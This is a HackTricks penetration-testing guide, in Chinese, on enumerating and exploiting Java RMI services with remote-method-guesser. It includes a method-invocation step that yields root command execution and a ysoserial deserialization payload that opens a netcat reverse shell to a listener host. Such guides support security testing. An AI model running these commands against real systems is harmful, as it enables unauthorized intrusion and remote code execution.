# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP {{#include ../banners/hacktricks-training.md}} ## 基本信息 _Java Remote Method Invocation_，或称 _Java RMI_，是一种面向对象的 _RPC_ 机制，允许位于一个 _Java 虚拟机_ 中的对象调用位于另一个 _Java 虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看，关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。 **默认端口：** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` 通常，只有默认的 _Java RMI_ 组件（_RMI Registry_ 和 _Activation System_）绑定到常见端口。实现实际 _RMI_ 应用程序的 _remote objects_ 通常绑定到随机端口，如上面的输出所示。 _nmap_ 有时在识别受 _SSL_ 保护的 _RMI_ 服务时会遇到问题。如果您在常见的 _RMI_ 端口上遇到未知的 ssl 服务，您应该进一步调查。 ## RMI 组件 简单来说，_Java RMI_ 允许开发者在网络上提供一个 _Java object_。这打开了一个 _TCP_ 端口，客户端可以连接并调用相应对象的方法。尽管这听起来很简单，但 _Java RMI_ 需要解决几个挑战： 1. 要通过 _Java RMI_ 调度方法调用，客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`（`ObjID` 是在对象可用于网络时创建的唯一随机标识符。它是必需的，因为 _Java RMI_ 允许多个对象在同一 _TCP_ 端口上监听）。 2. 远程客户端可以通过调用暴露对象的方法在服务器上分配资源。_Java 虚拟机_ 需要跟踪这些资源中哪些仍在使用，哪些可以被垃圾回收。 第一个挑战由 _RMI registry_ 解决，它基本上是 _Java RMI_ 的命名服务。_RMI registry_ 本身也是一个 _RMI service_，但实现的接口和 `ObjID` 是固定的，并为所有 _RMI_ 客户端所知。这允许 _RMI_ 客户端仅通过知道相应的 _TCP_ 端口来使用 _RMI_ registry。 当开发者希望在网络中提供他们的 _Java objects_ 时，他们通常将其绑定到 _RMI registry_。_registry_ 存储连接到对象所需的所有信息（IP 地址、监听端口、实现的类或接口和 `ObjID` 值），并以人类可读的名称（_bound name_）提供。想要使用 _RMI service_ 的客户端向 _RMI registry_ 请求相应的 _bound name_，注册表返回所有连接所需的信息。因此，情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小示例： ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` 上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_，基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时，它会向 _DGC_ 发送信息，表明相应的 _remote object_ 正在使用中。然后，_DGC_ 可以跟踪引用计数，并能够清理未使用的对象。 连同已弃用的 _Activation System_，这三个是 _Java RMI_ 的默认组件： 1. _RMI Registry_ (`ObjID = 0`) 2. _Activation System_ (`ObjID = 1`) 3. _Distributed Garbage Collector_ (`ObjID = 2`) _Java RMI_ 的默认组件已知是攻击向量已有一段时间，并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，并且可以轻松与之交互。对于自定义的 _RMI services_，情况则不同。要调用 _remote object_ 上的方法，您需要提前知道相应的方法签名。如果不知道现有的方法签名，就无法与 _RMI service_ 进行通信。 ## RMI Enumeration [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 是一个 _Java RMI_ 漏洞扫描器，能够自动识别常见的 _RMI vulnerabilities_。每当您识别到一个 _RMI_ endpoint 时，您应该尝试一下： ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` 枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果，您应该尝试验证已识别的漏洞。 由_remote-method-guesser_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞： ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Bruteforcing Remote Methods 即使在枚举过程中没有发现漏洞，可用的 _RMI_ 服务仍可能暴露危险功能。此外，尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护，但与自定义 _RMI_ 服务的通信通常没有这些过滤器。因此，了解 _RMI_ 服务上的有效方法签名是非常有价值的。 不幸的是，_Java RMI_ 不支持枚举 _remote objects_ 上的方法。也就是说，可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名： ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` 识别的方法可以这样调用： ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` 或者你可以像这样执行反序列化攻击： ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` 更多信息可以在以下文章中找到： - [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) - [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) 除了猜测，您还应该在搜索引擎或 _GitHub_ 上查找遇到的 _RMI_ 服务的接口或实现。_bound name_ 和实现类或接口的名称在这里可能会有所帮助。 ## 已知接口 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 将类或接口标记为 `known`，如果它们在工具的已知 _RMI services_ 的内部数据库中列出。在这些情况下，您可以使用 `known` 操作获取有关相应 _RMI service_ 的更多信息： ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan - `port:1099 java` ## Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## References - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ## HackTricks 自动命令 ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` {{#include ../banners/hacktricks-training.md}}